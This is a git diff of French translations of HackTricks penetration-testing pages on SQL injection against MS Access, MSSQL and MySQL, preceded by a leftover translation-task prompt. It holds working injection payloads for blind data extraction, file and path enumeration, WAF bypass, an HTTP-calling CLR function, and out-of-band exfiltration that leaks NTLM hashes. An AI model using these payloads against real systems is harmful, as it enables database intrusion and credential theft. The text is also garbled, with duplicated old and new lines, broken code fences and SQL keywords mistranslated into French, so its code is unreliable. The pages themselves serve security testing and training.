Le contenu suivant est extrait d'un livre sur les techniques de piratage. Le contenu suivant est issu du fichier pentesting-web/sql-injection/ms-access-sql-injection.md. Traduisez le texte anglais pertinent en français et renvoyez la traduction en conservant exactement la même syntaxe markdown et html. Ne traduisez pas les codes, les noms de techniques de piratage, les mots de piratage, les noms de plateformes cloud/SaaS (comme Workspace, aws, gcp...), le mot 'leak', pentesting et les balises markdown. N'ajoutez rien d'autre en dehors de la traduction et de la syntaxe markdown.
|
||||
```sql
|
||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||
```
|
||||
_N'hésitez pas à vérifier cela dans le terrain de jeu en ligne._
|
||||
_Feel free to check this in the online playground._
|
||||
|
||||
* Noms de tables courants Sqlmap : [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
* Il existe une autre liste sur [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
* Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
* There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
|
||||
### Forçage Brut des Noms de Colonnes
|
||||
### Forcer les noms de colonnes par brute force
|
||||
|
||||
Vous pouvez **forcer brutalement les noms de colonnes actuels** avec l'astuce de chaînage des égalités avec :
|
||||
Vous pouvez **forcer les noms de colonnes actuelles** avec le truc de chaînage égal avec :
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
|
@ -100,7 +100,7 @@ Ou avec un **group by** :
|
|||
```sql
|
||||
-1' GROUP BY column_name%00
|
||||
```
|
||||
Ou vous pouvez forcer brutalement les noms de colonnes d'une **table différente** avec :
|
||||
Ou vous pouvez effectuer une attaque par force brute sur les noms de colonnes d'une **table différente** avec :
|
||||
```sql
|
||||
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||||
|
||||
|
@ -108,11 +108,11 @@ Ou vous pouvez forcer brutalement les noms de colonnes d'une **table différente
|
|||
```
|
||||
### Extraction de données
|
||||
|
||||
Nous avons déjà discuté de la [**technique de chaînage des égalités**](ms-access-sql-injection.md#chaining-equals-+-substring) **pour extraire des données de la table courante et d'autres tables**. Mais il existe d'autres méthodes :
|
||||
Nous avons déjà discuté de la [**technique de chaînage des égalités**](ms-access-sql-injection.md#chaining-equals-+-substring) **pour extraire des données des tables actuelles et d'autres tables**. Mais il existe d'autres moyens :
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
En résumé, la requête utilise une instruction "if-then" pour déclencher un "200 OK" en cas de succès ou une "500 Internal Error" sinon. En tirant parti de l'opérateur TOP 10, il est possible de sélectionner les dix premiers résultats. L'utilisation subséquente de LAST permet de ne considérer que la 10ème tuple. Sur une telle valeur, en utilisant l'opérateur MID, il est possible d'effectuer une simple comparaison de caractères. En changeant correctement l'indice de MID et TOP, nous pouvons extraire le contenu du champ "username" pour toutes les lignes.
|
||||
En résumé, la requête utilise une instruction "si-alors" pour déclencher un "200 OK" en cas de succès ou une "500 Internal Error" sinon. En exploitant l'opérateur TOP 10, il est possible de sélectionner les dix premiers résultats. L'utilisation ultérieure de LAST permet de considérer uniquement le 10e tuple. Sur cette valeur, en utilisant l'opérateur MID, il est possible d'effectuer une simple comparaison de caractères. En modifiant correctement l'index de MID et TOP, nous pouvons extraire le contenu du champ "username" pour toutes les lignes.
|
||||
|
||||
### Basé sur le temps
|
||||
|
||||
|
@ -120,16 +120,16 @@ Consultez [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc51267
|
|||
|
||||
### Autres fonctions intéressantes
|
||||
|
||||
* `Mid('admin',1,1)` obtient la sous-chaîne à partir de la position 1 de longueur 1 (la position initiale est 1)
|
||||
* `LEN('1234')` obtient la longueur de la chaîne
|
||||
* `ASC('A')` obtient la valeur ascii du caractère
|
||||
* `CHR(65)` obtient la chaîne à partir de la valeur ascii
|
||||
* `Mid('admin',1,1)` obtenir une sous-chaîne à partir de la position 1 d'une longueur de 1 (la position initiale est 1)
|
||||
* `LEN('1234')` obtenir la longueur de la chaîne
|
||||
* `ASC('A')` obtenir la valeur ASCII du caractère
|
||||
* `CHR(65)` obtenir la chaîne à partir de la valeur ASCII
|
||||
* `IIF(1=1,'a','b')` si alors
|
||||
* `COUNT(*)` Compte le nombre d'éléments
|
||||
* `COUNT(*)` Compter le nombre d'éléments
|
||||
|
||||
## Énumération des tables
|
||||
|
||||
Depuis [**ici**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) vous pouvez voir une requête pour obtenir les noms des tables :
|
||||
À partir de [**ici**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database), vous pouvez voir une requête pour obtenir les noms des tables :
|
||||
```sql
|
||||
select MSysObjects.name
|
||||
from MSysObjects
|
||||
|
@ -139,18 +139,17 @@ and MSysObjects.name not like '~*'
|
|||
and MSysObjects.name not like 'MSys*'
|
||||
order by MSysObjects.name
|
||||
```
|
||||
```markdown
|
||||
Cependant, notez qu'il est très typique de trouver des SQL Injections où vous **n'avez pas accès pour lire la table `MSysObjects`**.
|
||||
Cependant, notez qu'il est très courant de trouver des injections SQL où **vous n'avez pas accès pour lire la table `MSysObjects`**.
|
||||
|
||||
## Accès au système de fichiers
|
||||
|
||||
### Chemin complet du répertoire racine Web
|
||||
### Chemin complet du répertoire racine du site Web
|
||||
|
||||
La connaissance du **chemin absolu de la racine web peut faciliter d'autres attaques**. Si les erreurs de l'application ne sont pas complètement dissimulées, le chemin du répertoire peut être découvert en essayant de sélectionner des données à partir d'une base de données inexistante.
|
||||
La connaissance du **chemin absolu du répertoire racine du site Web peut faciliter d'autres attaques**. Si les erreurs de l'application ne sont pas complètement dissimulées, le chemin du répertoire peut être découvert en essayant de sélectionner des données à partir d'une base de données inexistante.
|
||||
|
||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
MS Access répond avec un **message d'erreur contenant le chemin complet du répertoire web**.
|
||||
MS Access répond avec un **message d'erreur contenant le chemin complet du répertoire du site Web**.
|
||||
|
||||
### Énumération de fichiers
|
||||
|
||||
|
@ -158,19 +157,19 @@ Le vecteur d'attaque suivant peut être utilisé pour **inférer l'existence d'u
|
|||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
Une autre manière d'énumérer les fichiers consiste à **spécifier un élément database.table**. **Si** le **fichier spécifié existe**, MS Access affiche un **message d'erreur de format de base de données**.
|
||||
Une autre façon d'énumérer les fichiers consiste à **spécifier un élément de base de données.table**. **Si** le **fichier spécifié existe**, MS Access affiche un **message d'erreur de format de base de données**.
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||
|
||||
### Deviner le nom de fichier .mdb
|
||||
### Deviner le nom du fichier .mdb
|
||||
|
||||
**Le nom de fichier de la base de données (.mdb)** peut être déduit avec la requête suivante :
|
||||
Le **nom du fichier de la base de données (.mdb)** peut être déduit avec la requête suivante :
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
Où **name\[i] est un nom de fichier .mdb** et **realTable est une table existante** dans la base de données. Bien que MS Access déclenchera toujours un message d'erreur, il est possible de distinguer entre un nom de fichier invalide et un nom de fichier .mdb valide.
|
||||
Où **name\[i] est un nom de fichier .mdb** et **realTable est une table existante** dans la base de données. Bien que MS Access déclenche toujours un message d'erreur, il est possible de distinguer entre un nom de fichier invalide et un nom de fichier .mdb valide.
|
||||
|
||||
### .mdb Password Cracker
|
||||
### Cracker de mot de passe .mdb
|
||||
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) est un utilitaire gratuit qui peut être utilisé pour récupérer le mot de passe principal de la base de données Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
|
||||
|
||||
|
@ -180,15 +179,14 @@ Où **name\[i] est un nom de fichier .mdb** et **realTable est une table existan
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Énumération de l'annuaire actif
|
||||
## Énumération de l'annuaire Active Directory
|
||||
|
||||
Il peut être possible de **énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL** en utilisant les fonctions MSSQL suivantes :
|
||||
|
||||
|
@ -35,13 +35,13 @@ Les injections SQL basées sur les erreurs ressemblent généralement à des con
|
|||
|
||||
Quelques exemples de telles fonctions :
|
||||
|
||||
* `SUSER_NAME()`
|
||||
* `USER_NAME()`
|
||||
* `PERMISSIONS()`
|
||||
* `DB_NAME()`
|
||||
* `FILE_NAME()`
|
||||
* `TYPE_NAME()`
|
||||
* `COL_NAME()`
|
||||
- `SUSER_NAME()`
|
||||
- `USER_NAME()`
|
||||
- `PERMISSIONS()`
|
||||
- `DB_NAME()`
|
||||
- `FILE_NAME()`
|
||||
- `TYPE_NAME()`
|
||||
- `COL_NAME()`
|
||||
|
||||
Exemple d'utilisation de la fonction `USER_NAME()`:
|
||||
```
|
||||
|
@ -118,7 +118,7 @@ De toute évidence, vous pourriez également utiliser **`xp_cmdshell`** pour **e
|
|||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Fonction utilisateur MSSQL définie - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### Fonction définie par l'utilisateur MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
La création d'une UDF CLR (User Defined Function Common Language Runtime), qui est un code rédigé dans n'importe quel langage .NET et compilé dans une DLL, à charger dans MSSQL pour exécuter des fonctions personnalisées, est un processus qui nécessite un accès `dbo`. Cela signifie que cela est généralement réalisable uniquement lorsque la connexion à la base de données est effectuée en tant que `sa` ou avec un rôle d'administrateur.
|
||||
|
||||
|
@ -140,7 +140,7 @@ return new SqlString(html);
|
|||
}
|
||||
}
|
||||
```
|
||||
Avant d'exécuter la commande SQL `CREATE ASSEMBLY`, il est conseillé d'exécuter le snippet SQL suivant pour ajouter le hash SHA512 de l'assembly à la liste des assemblies de confiance du serveur (visible via `select * from sys.trusted_assemblies;`):
|
||||
Avant d'exécuter la commande SQL `CREATE ASSEMBLY`, il est conseillé d'exécuter le snippet SQL suivant pour ajouter le hachage SHA512 de l'assembly à la liste des assemblies de confiance du serveur (visible via `select * from sys.trusted_assemblies;`):
|
||||
```sql
|
||||
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
||||
```
|
||||
|
@ -172,12 +172,8 @@ https://vuln.app/getItem?id=1'+et+1=(select+concat_ws(0x3a,table_schema,table_na
|
|||
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
|
||||
|
||||
```sql
|
||||
```sql
|
||||
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
||||
```
|
||||
|
||||
```sql
|
||||
https://vuln.app/getItem?id=-1%20union%20select%20null,(sélectionner+texte+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
||||
```plaintext
|
||||
Accédez à https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
||||
```
|
||||
```
|
||||
|
||||
|
@ -196,9 +192,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
|
|||
Non-standard whitespace characters: %C2%85 или %C2%A0:
|
||||
|
||||
```
|
||||
```plaintext
|
||||
L'URL ci-dessus est un exemple d'injection SQL MSSQL. Il tente d'extraire des informations de la base de données en utilisant une requête d'union avec la fonction @@version pour récupérer la version du serveur MSSQL.
|
||||
```
|
||||
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
|
||||
```
|
||||
|
||||
Scientific (0e) and hex (0x) notation for obfuscating UNION:
|
||||
|
@ -226,8 +220,14 @@ https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
|||
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
|
||||
|
||||
```sql
|
||||
```plaintext
|
||||
SÉLECTIONNER 'a' SÉLECTIONNER 'b'
|
||||
```sql
|
||||
SELECT 'a' SELECT 'b'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```sql
|
||||
SELECT 'a' SELECT 'b'
|
||||
```
|
||||
```
|
||||
|
||||
|
@ -249,10 +249,6 @@ Can be reduced to:
|
|||
```sql
|
||||
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
||||
```
|
||||
|
||||
```sql
|
||||
utiliser[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
||||
```
|
||||
```
|
||||
|
||||
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
|
||||
|
@ -292,7 +288,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -66,7 +66,7 @@ Depuis [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload
|
|||
|
||||
## Flux
|
||||
|
||||
Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information\_schema.tables**_" par "_**mysql.innodb\_table\_stats**_" (Cela pourrait être utile pour contourner les WAFs).
|
||||
Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information\_schema.tables**_" par "_**mysql.innodb\_table\_stats**_" (Cela pourrait être utile pour contourner les WAF).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
|
@ -115,13 +115,13 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
|||
```
|
||||
## SSRF
|
||||
|
||||
**Apprenez ici différentes options pour** [**exploiter une injection Mysql pour obtenir un SSRF**](mysql-ssrf.md)**.**
|
||||
**Apprenez ici différentes options pour** [**exploiter une injection MySQL pour obtenir un SSRF**](mysql-ssrf.md)**.**
|
||||
|
||||
## Astuces de contournement de WAF
|
||||
|
||||
### Alternatives à Information\_schema
|
||||
|
||||
Rappelez-vous que dans les versions "modernes" de **MySQL** vous pouvez substituer _**information\_schema.tables**_ par _**mysql.innodb\_table\_stats**_ ou par _**sys.x$schema\_flattened\_keys**_ ou par **sys.schema_table_statistics**
|
||||
N'oubliez pas que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information\_schema.tables**_ par _**mysql.innodb\_table\_stats**_ ou par _**sys.x$schema\_flattened\_keys**_ ou par **sys.schema_table_statistics**
|
||||
|
||||
### Injection MySQL sans VIRGULES
|
||||
|
||||
|
@ -170,12 +170,12 @@ mysql> select version();
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -20,7 +20,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
Dans l'exploration de l'exfiltration de données hors bande SQL, la fonction `LOAD_FILE()` est couramment utilisée pour initier des requêtes réseau. Cependant, cette fonction est limitée par le système d'exploitation sur lequel elle opère et les configurations de démarrage de la base de données.
|
||||
|
||||
La variable globale `secure_file_priv`, si elle n'est pas définie, est par défaut `/var/lib/mysql-files/`, limitant l'accès aux fichiers à ce répertoire à moins d'être définie comme une chaîne vide (`""`). Ce réglage nécessite des modifications dans le fichier de configuration de la base de données ou les paramètres de démarrage.
|
||||
La variable globale `secure_file_priv`, si elle n'est pas définie, est par défaut `/var/lib/mysql-files/`, limitant l'accès aux fichiers à ce répertoire à moins qu'elle ne soit définie comme une chaîne vide (`""`). Ce réglage nécessite des modifications dans le fichier de configuration de la base de données ou les paramètres de démarrage.
|
||||
|
||||
Étant donné que `secure_file_priv` est désactivé (`""`), et en supposant que les autorisations de fichier et `file_priv` nécessaires sont accordées, les fichiers en dehors du répertoire désigné peuvent être lus. Cependant, la capacité de ces fonctions à effectuer des appels réseau dépend fortement du système d'exploitation. Sur les systèmes Windows, les appels réseau aux chemins UNC sont possibles en raison de la compréhension par le système d'exploitation des conventions de dénomination UNC, ce qui peut potentiellement conduire à l'exfiltration des hachages NTLMv2.
|
||||
|
||||
|
@ -30,11 +30,11 @@ Cette méthode SSRF est limitée au port TCP 445 et ne permet pas la modificatio
|
|||
|
||||
Les bases de données MySQL offrent l'utilisation de fonctions définies par l'utilisateur (UDF) à partir de fichiers de bibliothèque externes. Si ces bibliothèques sont accessibles dans des répertoires spécifiques ou dans le `$PATH` du système, elles peuvent être invoquées depuis MySQL.
|
||||
|
||||
Cette technique permet l'exécution de requêtes réseau/HTTP via une UDF, à condition que plusieurs conditions soient remplies, notamment l'accès en écriture au `@@plugin_dir`, `file_priv` défini sur `Y`, et `secure_file_priv` désactivé.
|
||||
Cette technique permet l'exécution de requêtes réseau/HTTP via une UDF, à condition que plusieurs conditions soient remplies, notamment l'accès en écriture au `@@plugin_dir`, que `file_priv` soit défini sur `Y`, et que `secure_file_priv` soit désactivé.
|
||||
|
||||
Par exemple, la bibliothèque `lib_mysqludf_sys` ou d'autres bibliothèques UDF permettant des requêtes HTTP peuvent être chargées pour effectuer une SSRF. Les bibliothèques doivent être transférées sur le serveur, ce qui peut être réalisé en encodant en hexadécimal ou en base64 le contenu de la bibliothèque, puis en l'écrivant dans le répertoire approprié.
|
||||
|
||||
Le processus varie si le `@@plugin_dir` n'est pas inscriptible, en particulier pour les versions MySQL supérieures à `v5.0.67`. Dans de tels cas, des chemins alternatifs inscriptibles doivent être utilisés.
|
||||
Le processus varie si le `@@plugin_dir` n'est pas inscriptible, en particulier pour les versions de MySQL supérieures à `v5.0.67`. Dans de tels cas, des chemins alternatifs inscriptibles doivent être utilisés.
|
||||
|
||||
L'automatisation de ces processus peut être facilitée par des outils tels que SQLMap, qui prend en charge l'injection UDF, et pour les injections SQL aveugles, la redirection de sortie ou les techniques de trafic de requêtes DNS peuvent être utilisées.
|
||||
|
||||
|
@ -47,7 +47,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
